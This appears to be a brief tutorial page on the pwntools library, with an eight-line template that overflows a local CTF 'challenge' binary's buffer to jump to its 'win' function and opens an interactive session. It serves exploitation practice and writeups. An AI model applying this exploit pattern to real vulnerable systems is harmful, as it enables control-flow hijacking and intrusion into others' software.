pwntools

pwntools

pwntools keeps binary exploit scripts concise while preserving the steps needed to reproduce local and remote runs.

Template

1
2
3
4
5
6
7
8
from pwn import *

context.binary = elf = ELF("./challenge")

io = process(elf.path)
payload = flat({40: elf.symbols["win"]})
io.sendline(payload)
io.interactive()

Prefer naming offsets and symbols over leaving unexplained byte strings in the final writeup.